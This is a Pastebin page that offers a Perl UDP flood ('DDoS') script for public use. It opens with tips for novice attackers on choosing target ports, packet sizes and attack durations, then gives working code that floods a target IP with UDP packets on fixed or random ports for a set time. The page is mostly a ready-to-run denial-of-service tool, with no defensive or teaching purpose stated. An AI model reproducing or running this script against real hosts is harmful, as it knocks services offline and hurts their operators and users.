Advertisement
PSN_CR33P

SKIDz OnLY OOOOOOOOOOOOOF

Mar 16th, 2019
447
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.21 KB | None | 0 0
  1. #SPED-SEC OOOOOOOOOOOOOOOOOOOF
  2. #Reccomendations (For skids):
  3. #IP - Don't DDoS Government Websites.
  4. #Port - Use '80' for HTTP (Most Common) or '53' for DNS or '443' for https.
  5. #Size - Use '100 - 1000' (Reccomended).
  6. #Time - Depending on the bandwith of your server, use how ever much you want (You can always press Ctrl-C to cancel).
  7.  
  8. use Socket;
  9. use strict;
  10.  
  11. print '
  12. /$$$$$$$$ /$$ /$$$$$$
  13. |__ $$__/ | $$ /$$__ $$
  14. | $$/$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$| $$ \ $$/$$$$$$$ /$$$$$$ \'s (PUBLIC) DDoS Script ;)
  15. | $| $$ | $$ | $$/$$__ $| $$__ $|_ $$_/ | $$ | $| $$ | $| $$__ $$/$$__ $$
  16. | $| $$ | $$ | $| $$$$$$$| $$ \ $$ | $$ | $$ | $| $$ | $| $$ \ $| $$$$$$$$
  17. | $| $$ | $$ | $| $$_____| $$ | $$ | $$ /$| $$ | $| $$ | $| $$ | $| $$_____/
  18. | $| $$$$$/$$$$| $$$$$$| $$ | $$ | $$$$| $$$$$$| $$$$$$| $$ | $| $$$$$$$
  19. |__/\_____/\___/ \_______|__/ |__/ \___/ \____ $$\______/|__/ |__/\_______/
  20. /$$ | $$
  21. | $$$$$$/
  22. \______/
  23. ';
  24. print "\n";
  25.  
  26.  
  27. if ($#ARGV != 3) {
  28. print "\n\t\t\t***Error command must recieve four arguements***\n";
  29. print "-Ex) perl DDoS.pl 1.1.1.1 80 1000 300\n";
  30. print "-Therefore DDoSing the IP '1.1.1.1' for '300' seconds on port '80' using '1000' packets\n\n";
  31. exit(1);
  32. }
  33.  
  34. my ($ip,$port,$size,$time) = @ARGV;
  35. my ($iaddr,$endtime,$psize,$pport);
  36. $iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
  37. $endtime = time() + ($time ? $time : 1000000);
  38. socket(flood, PF_INET, SOCK_DGRAM, 17);
  39. print "~To cancel the attack press \'Ctrl-C\'\n\n";
  40. print "|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n";
  41. print "|$ip|\t |$port|\t\t |$size|\t\t |$time|\n";
  42. print "To cancel the attack press 'Ctrl-C'\n" unless $time;
  43. for (;time() <= $endtime;) {
  44. $psize = $size ? $size : int(rand(1500-64)+64) ;
  45. $pport = $port ? $port : int(rand(65500))+1;
  46.  
  47. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement